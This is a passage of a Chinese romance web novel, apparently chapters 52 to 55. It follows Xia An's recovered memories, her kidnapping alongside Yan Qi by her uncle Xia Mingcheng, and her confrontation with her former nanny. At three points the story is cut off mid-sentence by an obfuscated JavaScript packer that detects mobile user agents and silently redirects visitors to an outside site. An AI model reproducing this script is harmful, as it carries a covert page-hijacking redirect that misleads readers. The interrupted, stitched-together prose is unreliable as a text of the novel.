“而且珍珠她本来就在岛上,你总会找到她的。” 颜祈没强求,他知道长风他们把手表还给他是什么意思,蓝月岛真的很会绑架人,以前会无声无息对一个来岛上的陌生人好以此俘获人心,现在他们又想用这块表从颜祈的手里把蓝月岛换过去。 可惜,蓝月岛根本不在他的手里。 这很不符合颜祈的处事风格,他的人生一直顺风顺水,周围的人忍让他乐意捧着他,很多东西于他而言不过是金钱的衡量,谈不上什么感情。 但就像颜淙说的,他需要一点筹码,需要保留住那些关于他和夏桉的过去。 这是一件很奇怪的事,不知道从什么时候开始,颜祈已经在夏桉那里不具有任何资本,他无法再继续诓骗夏桉不听话就会把她赶出去,这些年看似不平衡的天秤或许早就朝另一方倾斜。 颜祈甚至找不到原因,为什么过去的十年只像流水一般从他的指尖流逝,什么也没留下。 “我会想办法,蓝月岛不会变成那样。”他许诺道。 春山放心许多,“行,有你这句话我回去也好交差,那我们走了。” “你回去接着出海?”颜祈叫住他。 春山乐了:“不然呢,我可是要和海抗衡一辈子的。” 他笑呵呵的拍了一下颜祈的肩膀,“得了,我可做不来你们这里的事情,那高档酒店的床我也睡不惯,而且你已经帮我们付了那么多钱,够了。” 颜祈把手表随便往口袋里一塞,回去发现夏桉不见了。 王淑华已经坐到车上,二妞指了指夏桉离去的方向:“小北哥和她往那边去了,说还有点事。” ...... 冬日偏斜的日光透过树梢洒下斑驳稀碎的光影,柏树弥散着一股香气,粼粼水面泼着一层淡金似的,曲北几次看向她欲言又止。 现在的夏桉和蓝月岛的时候今非昔比,纯白色的羊绒大衣罩在她肩骨削薄的身形上,打理柔顺长发松松挽在脑后,一缕发丝随意的落在身前,随意但又处处彰显着矜贵,骨相精致冷清,这才是她本来的样子。 夏桉先开的口:“家里的电表箱上次烧坏了,要找人去修。” “好。” “她房间那个灯总是很暗,要换个新的。” “好。”曲北像是找到了话题开启的由头,在夏桉又说了几点注意事项之后劝慰道:“奶奶她就是那种要强的性子,觉得自己骗了你才会这样,她不是不想看见你。” “我知道。” 曲北又沉默下来,夏桉没有再走,站定直白问道:“是因为小珍珠吗?” “其实你不用多想,我很早之前就知道我不是她了。” “那你还......”曲北深邃的眼底划过一丝愕然。 夏桉回答的坦诚:“就是想知道你们为什么要这样做。” 曲北垂眸不敢看她,对曾经冒出的那些荒唐念头内疚的要命,“那你恨我吗?我也骗了你。” 夏桉眼皮动了动,实话实说:“其实我没有那么多情绪,而且如果这样算的话,那我要恨的人未免太多了点。” 要怎么定义恨的概念,这些事情的源头并不是他们,蓝月岛那么多人,她也恨不过来,夏桉不想细究那些是遵循本心的好意还是另一种责任的推诿。 “我不想这样活着,人的眼睛长在前头,总要往前看的,你也一样。” 那些事情一般人都不敢忘怀,更不必说和王家关系密切的曲家。 曲北看着父亲拥有蓝月岛最好的渔船却第一个做出错误判断,面对王淑华两次痛哭的请求都狠心拒绝,这么多年一直生活在噩梦里。 那是他儿时家里最亲密的小妹妹,却生生的在自己眼前丢掉了性命。 曲北很多次在梦里回到那天,父亲开着船把珍珠送到岸上,然后他们一起在岛上上学,去海边抓螃蟹,平叔和玉兰姨也还在,院子里那棵玉兰树长的很高很高,年年春天都会开出洁净的玉兰花。 夏桉失忆的时候他无可抑制的冒出那个念头,看着王淑华一遍一遍拉着年纪差不多的夏桉叫珍珠,心里装傻的相信这是老天给他弥补的一次机会,一手促成这件事。 夏桉自然没有办法替小珍珠说出原谅的话,可活着的人总要好好的生活下去,恨要好,愧疚也罢,时间久了心里的伤口总会愈合。 曲北偏过头,看见夏桉沉静望着前方。 突兀地想起夏桉在岛上其实是很喜欢笑的,一双眼睛可能是因为失忆的缘故,每次看向他都干净的要命,是一个很不容易气馁的人,现在的夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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回去的路上,车里窒闷的气息让司机不得不打起十二分精神,颜祈面色难以控制的僵冷,没有往夏桉那边给予一丝眼神,阳光从左边射入,将后排的座椅分割成半明半晦两个部分。 是很熟悉的冷战气息。 但是这种冷战多年来只要颜祈不那么骄傲,他早就应该发现这不过一种单方面的情绪,对夏桉起不到半分影响。 夏桉神色默敛似在思考什么,手心被攥出一排月牙印。 突然,司机猛地踩下刹车,惯性促使夏桉猛地撞向前座,一阵恍晕过去,夏桉发现自己被人护在臂弯里。 颜祈着急去揉她被撞疼的额头,“痛不痛?” 夏桉迟钝的抬起头,男人的身影逆着光早已变成了分明的模样,视线慢慢聚焦,触碰的那一秒,曲北口中的人有了答案。 耳边如潮汐般起伏的心跳声,彻底搅乱了她的无动于衷。 “对不起,前面不知道从哪里钻出来一只野猫。”司机听到声音赶忙扭过头道歉,唯恐真的伤到他们,引起这位小少爷生气。 颜祈冷着脸怒骂了一句,司机一连着说了好几句对不起,夏桉偏头躲开他的触碰,颜祈手下的动作顿了一刹,压下视线不再吭声,司机这才重新上路。 晚上,颜淙终于有时间提前回来,三个人默不作声的在一张餐桌上吃饭,佣人们对宅里最近处处低压的氛围更加谨慎,餐厅全程安静的可怕。 颜祈目光在他们之间游弋,最后牢牢定在夏桉身上,死盯着。 夏桉视若无睹,吃完同颜淙站起,并肩朝一处走去。 那是颜淙的书房,颜祈憋不住的立刻站起,面前的食物因为前面过分提防还只伤了一点表皮。 他气势汹汹的急跟上去,腿狠狠的撞了一下桌角,在空旷的餐厅发出巨大的声响。 夏桉惊愕的回过头,颜祈神情孤傲又锋利的脸出现她面前,掌心被人一把攥住。 “你要去哪?那才是你的房间。”颜祈咬紧下颌,额角青筋不受控的轻跳。 53. 第五十三章 颜淙的书房和房间只有一墙之隔,桌上敞开摊放着什么资料,夏桉淡淡收回视线没有多看。 对于夏桉而言,关于颜淙的一切都很陌生,尽管这些年大家生活在同一个屋檐下,但是步履未曾同步,颜淙成长路线和她相错太远。 算起来,这还是夏桉第二次踏入他的书房。 第一次是十五岁那年,她主动敲开颜淙的房门说自己想去别的地方读书。 兴许是颜淙总在关键时刻充当她人生中救世主的形象,夏桉本能的对待颜淙不会隐瞒过多的事情。 “我已经全部想起来了。”夏桉坐在沙发上低声说。 颜淙默然坐下毫不意外,敛目看去:“夏明诚。” “是。”夏桉停了一霎,藏匿住眼里的黯然补充道,“还有杨素梅。” “她把我骗过去的。” 父母离世后,夏桉曾经把杨素梅当成唯一的家人,虽然没有血缘关系,可是夏桉感受过从小杨素梅在她身上倾注的爱意。 那些模糊的、恍若隔世的回忆,只有她和杨素梅还记得。 那场车祸她们失去的一样多,杨素梅的儿子和丈夫同样在那辆车上。 杨婆婆只是太难过了,她不是故意的,从最初的杨素梅对她的冷落怨恨视,对颜祈的所作所为视而不见,到后来夏桉逐渐长大,她一直有在说服自己理解杨素梅。 颜淙微微偏过头,对她的镇定有些意外,夏桉在他面前总是温顺跟个小猫一样,可能是因为公司最近有人故意挑动气氛,阻止余薇他们进一步对他的放权,颜淙此刻不免也有些疲惫。 夏桉长发松松的绑着,柔和的灯光落在她白净清瘦的脸上,蓬松袖口露出的肌肤雪白细润,这件衣服也是颜祈以前帮她买的? 是因为女孩总比男孩早熟一点,所以夏桉的成长才会如此明显? 在此前很多年,他好像都没有正视过夏桉。 颜淙奇怪自己怎么会有这样的想法,对面夏桉已经说到了最关键的推测。 “我想让你把保镖撤回去,告诉他们我要接着回去读书。” 留有足够的空间,对方才能钻空子。 “好。”颜淙没干预她的决策,他明白夏桉想要做什么。 上次的事情是他的失误,这次绝对不会再出任何差错。 夏桉没有再说,有些事情需要颜淙给她一个答案,对于过去,她好像还有很多不知道的东西。 她自然没有完全相信那日杨素梅去岛上找她说的话,漏洞太多了,颜家完全没有理由要对付夏家甚至闹出人命,这个社会不管哪个阶级处事都有一定的相似之处。 蓝月岛的人需要抱团,上流圈子的人也要。 颜夏两家没有利害关系,利益在某些方面还是属于统一战线,两家掌权人又自小相识情同手足,如果真的做了什么,又何必一开始担忧的把她接过去,夏家的人也不可能松口。 但是她又想不明白杨素梅和夏明诚这样做的理由,这一切发生的太过凑巧,十年没有调查出来的事情怎么在她和颜淙订婚没多久突然就清楚了,还冒出一堆不知从哪来的证据。 颜淙抬眸深深望了她一眼,没隐瞒:“你知道自己其实还有一笔家族信托吗?” 这个圈子的人都这样,会留一笔钱做固定资产留在孩子以防意外,夏家也不例外。 “包括叔叔在万世的股份以及这十年的收益,夏家这几年已经耗的只剩下一个空壳,随便一项都足以让夏明诚动心。” 夏桉低垂着眼,睫根微颤,“他就从来没有想过我的父亲?” 夏明诚是她的大伯,是父亲的哥哥,多年来他从未真心想过要照顾她,现在还要置她于死地。 “夏桉,你还太年轻了,没有触碰过这个世界的险恶,”颜淙说:“你就没想过,他为什么之前一直不能住在夏家。” 夏桉不知想到了什么,沉默了很久抬头问道:“你也是因为这个原因才选的我吗?” 颜淙很不喜欢选这个字,这个世界没有那么多选项,父母多年恩爱的婚姻塑造给他的是一种双方平等的观念,他不是颜祈,也从来没有把夏桉当作过自己的私有物品。 颜淙说不出到底是因为什么,只是有些事年纪到了,当母亲提起的时候试探问他夏桉如何,颜淙的心里没有产生明显的排斥感。 他对夏桉求婚的场景充满一种偶然性,随意到就像是吃一顿最平常不过的饭,尽管他们之前根本没有单独约过,他喝了一口红酒,淡然说出口。 夏桉手上的刀叉在盘子边缘磕碰出刺耳的声音,叉子落在黑色的地毯上,夏桉慌乱站起来还打翻了桌上的果汁杯。 那一刻冷静如颜淙也不免觉得自己的行为太过于荒唐,他竟然跟一个出来还在喝果汁的小孩提出结婚。 橙子汁酸涩的气味在空中扩散,以桌角为起点,蔓延到每一个白瓷盘下面。 “不是。”颜淙今天心里怪异的情绪太多,甚至不合时宜的想起橙子汁好像也是颜祈最喜欢的,他从小就对酒味敏感,总爱喝这些小孩子的饮品。 颜淙从未感觉过,夏桉身上会有这么多关于颜祈的影子。 “你很在乎这点吗?”颜淙浸在某种情绪里,若有所思的问。 这个问题对待夏桉来说并不难,甚至算的上简单,没有人想当作等价物品去置换,其实不管颜淙说是与不是,夏桉都能接受。 颜淙在她心里是持重的,这种人不会允许自己在情爱里沉沦,就算是前者她也不意外。 夏桉在那之前本来就没想过颜淙有天会选择她,他们之间差了七岁,她第一次来颜家的时候颜淙已经上初中了,颜淙对她的态度说不上好和坏,如果用一个词去概括——得体。 合理范围之内的情绪收敛,对一个来自家常住的小妹妹应该有的礼节。 那种模糊暧昧的情绪从未在他们之间出现过,可是颜淙却向她求了婚。 哪怕这些年夏桉不曾在身边听到过这个圈层的龌龊事,可是学校男男女女的交往是不可避免的,她并没有颜淙想的那样不谙世事。 反而,颜淙说是会让她更心安一点。 这是夏桉以前的想法,也依然是现在的想法,只是有些事情变了,颜淙也回答了不是,这让夏桉有点心乱。 两人交谈到最后,颜淙在夏桉离开时问:“要告诉他吗?” 夏桉的身体顿了顿,“不用。” ...... 颜祈靠在墙边无数次的看向手表,情绪越发不耐,九点了,他们竟然还不出来,什么时候有这么多话需要说了。 颜祈没有立场制止他们之间的行为,自然也留不住夏桉。 终于,夏桉出来了。 他气冲冲的一路跟在后面追到门口前问:“你们之前也这样?” 夏桉停顿几秒,难以总是应对颜祈的莫名情绪,“你不累吗?” 为什么总是要围在她的身边不停的去追问她,那些无聊的游戏这么多年还没有玩够,她不过就是小时候推了他一次,但他不是已经狠狠还回来了吗? 可就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14244580|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么一句简单的话,却被颜祈当作了其他信号,他像只突然就被主人摸顺毛的宠物,所有的戾气都消失了,有点激动的说:“你在关心我?” 他妄想获得很多的时候,夏桉‘砰’的一声关上了门。 颜祈不可置信的看着紧闭的房门,被夏桉冷漠抗拒的态度又一次伤到。 他贴着门声音有些挫败滞闷的问:“到底为什么要那么讨厌我。” 他没有夏桉心里那样坏,他也会有一点难过。 -- 夏桉要回去读书的消息最先散开在颜家,所有人都松了一口气,这阵紧张的氛围终于要过去了。 消息准确无误的传进杨素梅的耳朵里。 不过第二天下午,她就没沉住气找到夏桉,话语里有压抑不住的烦躁,“小姐,难道你真的就打算这么离开,大小姐他们的仇就这样算了?” 夏桉默了默,将手里的证件放在桌上,从抽屉里拿出一张卡推过去:“婆婆,这张卡里是我自己这些年存的钱,你拿去吧,我已经跟颜淙哥说好了,你也到了退休的年纪,我记得子显哥哥以前总想去北方看看。” “小姐。”杨素梅要的根本就不是这些东西,她完全理解不了夏桉怎么能够装作无事的嫁给的杀父仇人的儿子,心安理得的成为颜太太。 夏桉小时候不是这样的,还是说这些年颜家已经给她洗脑成功了。 杨素梅此刻才有些后悔之前没有注意到她,面色着急道:“就算要走,那也不用这么快,你的记忆不是还没恢复。” 夏桉把卡塞到她的手里,朝四周谨慎的看了一圈,小声道:“婆婆,这件事不可以说出去,外面的人都不知道我失忆的事情。” “那你和夏——”杨素梅生生止住了话头,差点说漏嘴,改口道:“那你又要到明年夏天才回来?” “嗯,过两天就走。”夏桉露出一个憧憬的微笑,“颜淙哥哥说,明天夏天我们就办婚礼,他说不可以让别人知道这件事。” 杨素梅把手抽回来,对她感到失望,“我知道了。” “婆婆。”夏桉叫住她,心里无比酸涩,“你知道爸爸给我留了一笔信托基金吗?” 杨素梅思绪混乱,有些迟缓的摇摇头。 夏桉用力咬了一下口腔里的软肉,笑道:“没事,我只是想告诉你,你不用担心钱的事情,想去哪里都可以。” 杨素梅愣了一瞬,眼里升起模糊的水汽,仿佛一夜衰老般蹒跚着往楼下走。 夏桉要离开的消息自然没有瞒着颜祈,颜祈没想到颜淙这么狠心,竟然让一个才病好的人立马就去读书,跟颜淙闹了好几次都被回绝。 时间终究是来到了夏桉离开的这一天,澳洲现在是夏季,行李箱里放置的东西并不多。 颜祈从一大早就不见人影,车库里他最常开的那辆宾利也不见踪影,夏桉沉默坐上车独自前往机场。 昨夜的雨淅淅沥沥个没完,上午的空气还泛着水汽,灰白色的云朵裹着一团混沌的太阳。 某个路口,一辆黑色的宾利的从拐角处开出,跟在后方。 但很快,另外一辆老旧的面包车别了进去,挡在两辆车的中间。 颜祈指尖在方向盘焦躁的点了点,不知道哪里冲出去一台破车敢拦在他的前面。 夏桉乘坐的那辆车开始加速,面包车紧随其后,始终保持着不远不近的距离,红灯的最后一秒,面包车跟了上去,颜祈被憋停在斑马线的后面。 他低声咒骂了一句,发现前方夏桉的车不见了。 54. 第五十四章 铁皮被骤乱的雨水冲打的铛铛作响,手部铁链的晃动混着雨声持续入耳。 夏桉睁开双眼。 从大玻璃窗透过的光亮直直射入她的眼睛,猛烈的晕眩引起耳道内嗡鸣鼓噪,夏桉脑涨的闭上眼,身下不平的水泥地板持续冷意更甚,鼻腔里封闭已久的浑浊气息挥散不去。 她动了一下僵痛的脖颈,身后立马传来关切的低语:“夏桉...你醒了?” 颜祈探过半个身子猛然想起,手在衣服上蹭了蹭才将她小心扶起。 带着柑橘雪松气息的体温从身前传来缓缓流向四肢,夏桉的身体还处于一种僵麻的混沌状态,只感觉自己被扶着坐了起来,身后的铁锁链也跟着拖动在地上剐蹭出冷硬的声响。 “你哪里不舒服吗?”颜祈急急的问道。 沉闷的空气里,夏桉的眼睫以一种很缓慢的眨动着,视线逐渐清晰,喃喃道:“你怎么在这里?” “我不放心你一个人回去,还好我跟着。”颜祈冷嗤一声,“也不知道颜淙是怎么办的事,竟然让人在自己的地盘上动了手脚,这群人真是不知死活。” “你别担心,我马上就要解开了,等会我们从后面那扇窗户爬出去,这鬼地方好像开了屏蔽器,手机一点信号都没有。” 夏桉摸到身后的铁链,无奈的叹道:“你不该跟着我的。” 这种东西没有钥匙怎么可能解得开。 “休想,你以为我不知道,颜淙就是想把我和你分开好继续趁虚而入。” 颜祈闷闷的说完,确认她没事后绕到柱子的后面继续想办法撬锁,心里恨不得将那些绑匪碎尸万段,一个荏弱的小姑娘至于用上这种锁链吗,换成绳索他早磨破了。 颜淙到底给夏桉灌了什么迷魂药,一次两次怎么还认不清颜淙打心底就没有在乎过她, 铁链坚韧,颜祈使尽浑身解数也没有半点影响,大冬天的额角急得出汗。 坐在前面的夏桉静默良久知道挣脱不开,感受到颜祈在后面的急躁忽然觉得有点难过,轻轻叫他:“颜祈。” “等我们回去就把以前的事情都忘了吧。” 颜祈低着头没吭声,分外浓长的睫毛在眼下落下一片阴影,指尖用力扣着刚硬的链口,充血到逐渐发麻失力。 “我们都长大了,总会分开。” “你只是还不习惯,就像你小时候最喜欢的那辆小汽车,它从楼下掉下去摔的粉碎,可是你第二天拿到新的一样会高兴,我也是,你只是担心没有人替代我而已。” “不好。”他的声音像被闷了一夜的雨,却仍然带着不可置否的霸道。 “你不要妄想着你和颜淙结婚就能摆脱我,和谁结婚都不行。” 夏桉还没来得及说话,远处响起一阵短促欢闹的铃声。 一瞬间,两人的血液都凝固了。 铃声逐渐小声,外面的人似是也因为信号问题跑到了远处去接听,两人刚稍稍松了一口气,大门被突然推开,气流中灰尘张牙舞爪的朝他们袭来。 站在门口的秃头男人先是一愣,随后带着乡音的腔调在仓库里震开,“快来,有人闯进来了。” 那对颜祈而言是无比愤懑的一天,他从来没被人打过,第一次竟然还是在夏桉的面前。 ...... 后颈传来的剧痛像是被人狠狠敲了一闷棍,他的手被冷硬的粗链死死绑住,颜祈浑身剧痛刚想要移动,听到旁边传来一个尖锐的女声。 “你们怎么办的事,怎么还绑了一个回来。” “不知道啊,这人突然就冒出来了,只能一起绑了。”男人躁烦的往旁边吐了口口水骂道:“妈的,看着年纪挺小,没想到还挺有劲,我们兄弟几个差点都没兜住。” 旁边有人附和道:“就是就是,老三他牙都磕掉了半颗,这笔钱可不能少了。” 女人怒气难耐:“这和我有什么关系,一群没本事的,谁让你们绑他了,你们知不知道他是谁。” “我管他是谁,什么意思,这个人你就不打算付钱了?” “你们自己做事手脚不干净,要是他哥查到我们身上,一分钱你们都休想拿到。” “艹,现在知道过河拆桥了,大不了大家一起死。”小小的仓库瞬间纷闹不堪。 颜祈感觉自己的耳膜都要被震破了,趁着混乱不动声色打量了会眼前的环境,和之前的大差不差,只是这个旧仓库貌似小了很多。 一个沉稳的男声蓦然响起,“够了,那笔账会一起按约结给你们,先出去。” 带头的男人揣度片刻,对兄弟们使了个眼色,一行人骂骂咧咧的走了出去,小小的仓库瞬间安静下来。 女人似是还想再说什么,也被男人的眼神镇了下来。 夏明诚幽幽走到夏桉的面前,忽然笑了,“大侄女,还没听够?” 颜祈呼吸猝然一窒,慌乱中摸到了夏桉的手,夏桉很镇定的给予回应,有些冷静的过了头,两人默不作声的将手握紧。 西装革履的男人年近五十,外形气质儒雅,开口温和却笑里藏刀。 夏桉仰起头,眼里丝毫没有胆怯,“大伯父。” “你果然全部记得。”夏明诚哼笑,“现在还学会放假消息骗人了,哄得杨素梅那老婆子心软不敢动手还来骗我们。” 大伯母自鸣得意的翘起嘴角:“我就说这丫头心机重,果然没被我猜错。” “死丫头还真是命大,那样都没死。” 夏明诚对妻子的声音不甚耐烦,但也没阻止,目光瞥到后面愣了下神,随即扬起一个不可思议的笑:“你还真是有手段,颜家两兄弟都被你玩弄在股掌之中。” “早知道你这么本事我就不忙活了,整个颜家都是你的,我何必干这点小事。” “你说是吧,颜小公子。” 颜祈抓紧夏桉的手,恶狠狠的扭过头:“夏明诚,你好大的胆子,竟然敢在江州市动手。” 夏明诚佯装害怕的后退一步,忍不住发笑:“谁跟你说这里是江州市的,颜小公子,我是没想到他们竟然还把你给抓过来了。” 他压低声音阴恻恻地说:“你说你没事总跟我大侄女身边做什么,不会是跟我做一样的事吧。” 颜祈移开目光,愠怒道:“说那么废话,还不解开。” 夏明诚语气松散:“那可不行,现在还不是时候,等你哥把钱打过来我自然会放你们离开。” 颜祈:“我就怕你有命拿没命花。” “这就不用你挂念了,我真是没想到,你竟然也喜欢我这个大侄女。” “早说啊,说不准我还会站你这边呢。”夏明诚靠回椅背伸手按了按眉头,似乎真的为此懊悔。 颜祈对夏桉的管教是出了名的严厉,夏桉到达颜家的第一年他可是听到不少风头,他那个娇滴滴的侄女可没少受委屈,天天不是在哭就是在生病。 小儿子和他们一个学校,也说颜祈看她看的紧,学校里没有一个人敢和夏桉玩。 夏明诚听到时躺在真皮沙发上差点没笑出声来,这种寄人篱下的苦难竟然转移到夏家最受宠爱的孩子身上,也不知道他那个早死的弟弟在天上看不看得见。 夏明诚双手向上一摊:“不过已经晚了,我没时间再陪你们玩这种过家家的小孩游戏。” 大伯母不屑道:“和他们说什么废话,那边说钱什么时候到账。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14253859|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏明诚像是才想起正事,站起来拂了拂身上不存在的灰尘,按住妻子坐在靠椅上,“急什么,那边说了,明天才能到账。” 大伯母面上担忧:“那么点钱,颜家怎么要这么久?” “这不是还多了一个吗,那可是个值钱的。”夏明诚在妻子面前比划出一个四的手势,靠近咬耳说出单位:“亿。” 大伯母倒吸一口凉气,整整翻了三倍,或许是丈夫许久未对她如此亲密举措,大伯母有被安抚到,心里已经在盘算这些钱的花费。 夏明诚撑了一下妻子的双肩,犹如将某种责任也传递过去,看了眼手表轻拍她说:“好了,我先出去看看,你在这里看好他们,可别让那个小丫头片子又逃了。” 大伯母难得露出些许柔情,手覆上去:“好。” 只一秒,夏明诚不露声色的抽回,抬腿朝外走。 “你确定他还会回来?”夏桉忽而出声,几个字在安静的仓库轰然落地,说的几人一愣。 大伯母看向夏桉顿时反应了什么,跟着一起站了起来。 夏明诚气息瞬变,回头在夏桉脸上看到熟悉的神情,遮不住的轻蔑和讥讽,和那个老女人初次见他的表情一模一样,高高在上的看不起,觉得他肮脏。 也是,夏桉可是那个老女人唯一的亲孙女,怎么可能不像。 大伯母警惕的向前揪住夏明诚,刚刚还浓情蜜意的气氛荡然无存,眼睛却向夏桉寻求解惑:“什么意思?” 夏桉冷冷开口:“你不知道吗?他已经买了晚上的机票,再也不会回来了。” “不可能。”大伯母慌忙否定,手上的劲却愈发用力,“明诚,她怎么会知道你买了今晚的机票?” 夏明诚想出言哄骗,那边夏桉已经轻飘飘的又扔下一个炸弹,“你还真是可怜,那个孩子都已经上幼儿园了,就养在夏家不远的那栋宅子里,前几天刚出国。” “孩子,什么孩子。”大伯母伸手去挠夏明诚的脸,往日藏下的怀疑在此刻堆积爆发,“你是不是又在外面找女人了,你怎么答应我的,你说了你不会找的。” “那孩子是哪个狐狸精的,是不是你的那个小秘书,还是资助的那两个女学生。”她气恼中恍然醒了一下神,终于抓住夏桉话里的重点,“好啊,原来是那个狐狸精,我说她怎么总是带着孩子来家里串门,你个王八蛋,把人都放到家门口还在骗我。” “滚开。”夏明诚厌恶的把她甩开。 大伯母鞋跟一歪倒在地上,哭哭啼啼的又立马爬起来继续搔他,在夏明诚脸上抓出了几道血痕:“我说你最近怎么对我这么好,原来是要把我当作替死鬼好和那些小狐狸精双宿双飞,夏明诚我跟了你这么多年,你就是这样对我的。” “为了你我和家里断绝来往,还给你生了两个儿子,我说你这些年怎么不肯碰我,敢情是在外面早就吃饱了,你个混蛋,我就不该相信你的话......” “就是有你这种疯女人才会生两个废物,只会赌博败家,我这些年给你们擦了多少屁股。”夏明诚不再忍耐,“天天拿着以前的事情威胁我,我早就受够了。” 慌乱中,大伯母一巴掌甩到了夏明诚的脸上,夏明诚眼里血红一片,面孔凶恶如罗刹。 突然,世界安静了。 女人从黑色椅凳上的尖端如一摊烂泥滑到地上,发林向四周缓缓蔓延出一片深红稠浓的血液,躺在地上一动不动。 夏明诚僵硬一刹,眼里的恨意更深,发黄的灯光照在他激动过后微微颤抖的脸上,心早就被愤怒的失控占据,他转头看向夏桉,灯光落在他的眼下,双目阴鸷,末梢神经还带着某种不可言说的兴奋,伸手拿过旁边的棒球棍。 55. 第五十五章 “哪有什么理由,我就是准备回去上学刚好看到了。”颜祈语气平常。 颜淙:“我让你回去你说你最近总是头晕,怎么她要回去你病又好了。” 颜祈心里嘀嘀咕咕,嘴上也跟着倒打一耙:“我怎么知道她今天刚好也要走,从家里去机场的就那一条路,和我有什么关系。” 颜淙觉得他简直是无可救药:“消息两天前就放出去了,你会不知道。” “你故意的?”颜祈抢先占理,“两天前就开始放出消息,你们竟然一直都不告诉我。” “你怎么不想想她为什么不告诉你,你小时候做的那些事情哪点值得她告诉你。”颜淙面若寒霜,站起来居高临下甩下最后的话,“那本琴谱是夏叔叔专门给她写的。” 颜祈神色懵然。 所以哪怕是已经惊吓过度,颜祈不断告诉她外面有可怕的怪物,夏桉半夜还是会去喷泉池边。 她把它放在琉璃柜里,是因为再也不敢触碰它。 他毁了父亲留给她的唯一念想。 她恨他。 -- 飘摇的雨丝在玻璃窗上混作一团,蜿蜒漫流,天光晦暝。 夏桉坐在病床上走神想到她在蓝月岛的最后一天,她跑在雨里去找人救王淑华,那天的雨比今天的大,却没有今天的冷。 曲北说王家的电路已经修好了,把藏在衣服里的钱全部退了回来。 蓝月岛的冬天不冷,他说。 可是江州市的冬天很冷,她有点想念澳洲炙热的阳光,现在那边是夏季。 她对杨素梅的哭声感到卷麻,转过头叹了一口气从旁边抽出几张纸递给她。 “小姐。”杨素梅接过纸巾,枯竭的眼眶又流下泪。 “是我的错,我不该轻易听信他们的话,我只是——” “你只是受了夏明诚的蛊惑,以为子显哥哥他们出车祸是颜家的动的手。”夏桉打断她从先前就一直在重复的话。 “他们杀人,你却害我。”好没有道理的罪恶。 杨素梅下嘴唇哆嗦着,不敢说话。 “因为你知道你动不了他们,你也不能接受从小带的孩子嫁给仇家,所以夏明诚告诉你,杀了我也是一样的。” “杀了我,颜家得不到夏家的股份,这就是对他们的惩罚,子显哥哥他们因为颜家而死,你觉得我死了,就是在守护他们。” “这才是你和夏明诚合作的理由。” 病房里安静许多,杨素梅愣了好几秒讷讷开口:“小姐。” 丈夫跟着她一起到夏家做了司机,姑爷善良易说话,她也时常让上大学的儿子过来留个印象,那天他们本来是想趁着一起陪夏桉过圣诞节好让主家帮忙把儿子安排进万世集团。 谁也没想到,意外就这样来临了。 杨素梅在心里怨恨夏桉,为什么非要过那个洋节,为什么非要那个像房子一样的红色蛋糕特意绕路去买。 站在门外的颜祈沉默不语,他在助理那里已经听完了全部过程。 杨素梅丈夫老家正好是他第一次到达的那个小渔村,她下不了真正的死手,导致夏桉在一艘破渔船上绑了三天四夜,最后在暴雨天松开了缆绳。 飘摇的小渔船晃晃悠悠驶入了大海,无声无息。 夏明诚的手脚太干净了,如果真要追究,杨素梅要担下所有的责任。 没有人知道夏桉那些天是怎么过的,只是当清醒的时候,她就已经变成了珍珠。 被亲人,被从小跟在她身边的保姆背叛算计,生活在颜祈的阴影下,蓝月岛的日子显然简单轻松很多,王淑华对她很好,夏桉终于有了除颜祈以外的朋友。 还有了爱人。 夏桉平静的看着她,年少的记忆终于只剩下她一个还是牢记。 “他们的命不是我欠的,跟我爸妈也没关系,但是你欠我的,你得还。” 杨素梅自知余生困苦,需要用无尽的悔恨赎罪,抹着眼泪离开了这里。 颜祈坐在病房的门口失神很久,他害怕夏桉会因为过去的情分心软,担心她会因此放过杨素梅一马所以特意赶来,可当他真的听到那些坚决的话,那颗抱着一丝侥幸悬着的心终于轰然崩塌坠落。 夏桉是个心硬的人。 她不会原谅他了。 颜祈发愣看着人来人往的忙碌,连病房的门什么时候打开了都不知道。 夏桉站在门边,静默的盯着某处很久。 他那双手好像就一直没好过,从蓝月岛时那些细小的裂口到现在手腕一圈找不到完好的皮肉,颜祈是不是容易留疤的体质其实夏桉也不知道,他从来没有在她面前狼狈过。 一次也没有。 颜祈厌恶每一个肮脏的地方,在她面前永远精致整洁的不像话。 她也没见过落寞的颜祈,他总是目空一切,骄傲自满。 她不是在十岁那年已经拿到了钥匙将颜祈看透,为何现在像从未了解过他。 “颜祈。” 她松开扶着门把的手,浓密的发丝别在耳后,素净的面孔带着一点倦意,轻声问他:“你怎么坐在这?” “找你吃饭。” “那走吧。”夏桉关上门。 现在并不是饭点,两人各要了一份汤面对坐在餐桌前。 夏桉搅着碗里的面条,顿了好半晌说:“我打算等事情结束就回去继续念书。” “好。” “还有...对不起,当时那种情况我不能告诉你。”夏桉说。 颜祈苦笑,半开玩笑说:“不是你的错,我已经骂过颜淙了。” 他怎么以前会让夏桉说这么多对不起。 夏桉嘴角不自觉浮起一丝笑意,说不出心里是何种心绪,如果一开始她和颜祈是这种相处方式,是不是很多事情都会不一样。 “颜祈...我在那里说的都是真的,以前的事情我们都忘了吧。” “就当作两清。” 